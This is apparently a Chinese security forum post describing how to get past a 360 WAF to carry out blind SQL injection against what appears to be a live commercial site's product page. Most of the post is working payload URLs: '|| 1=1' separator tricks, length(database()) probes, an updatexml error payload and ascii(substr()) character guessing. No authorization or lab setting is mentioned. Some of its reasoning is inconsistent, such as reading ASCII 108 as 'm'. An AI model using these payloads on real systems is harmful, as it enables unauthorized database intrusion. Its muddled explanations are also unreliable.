-
-
[原创]SQL注入下双WAF绕过
-
发表于:
2023-9-19 09:19
1450
-
利用HPP漏洞 参数污染
正常页面情况下
1 | http: / / www.xxx.com.cn / productshow.php? id = 79
|
被360waf拦截
1 | http: / / www.xxx.com.cn / productshow.php? id = 79 '
|
进行隔断绕过
1 | http: / / www.xxx.com.cn / productshow.php? id = 79 % 20 || % 201 = 1
|
关键字等价绕过
原因是使用&&进行连接时不需要进行闭合,流程为 id=1 然后继续执行 id=2 最后--+单行注释
进一步构造payload
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20length (database())> 1
|
判断数据库名长度判断
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20length (database())> 10
|
二分发进行发现是6
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20length (database()) = 6
|
更近一步,就蹭蹭绝对不进去
这里失败了a-z都不行
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20left ((select % 20database ()), 1 ) = a
|
被waf拦截了
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20updatexml ( 1 ,concat( 0x7e ,(sElEct % a0user()), 0x7e ), 1 )
|
使用ascii进行爆库
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20and % 20 (ascii(substr(database(), 1 , 1 )) % 20 = 109 )
|
![[b891d28360cb0a22a713dcc78e16047.png]]
这里猜测应该是and问题,给他去掉
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20 (ascii(substr(database(), 1 , 1 )) = 109 )
|
ascii判断出第一位是108
1 | http: / / www.xxx.com.cn / productshow.php? id = - 79 % 20 || % 20 (ascii(substr(database(), 1 , 1 )) = 108 )
|
![[Pasted image 20230304142131.png]]
所以对应的ascii表,这个第一个字符就是m了
剩下的不必多说
总结:
关键字等价绕过
ascii判断,and不行直接丢掉
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课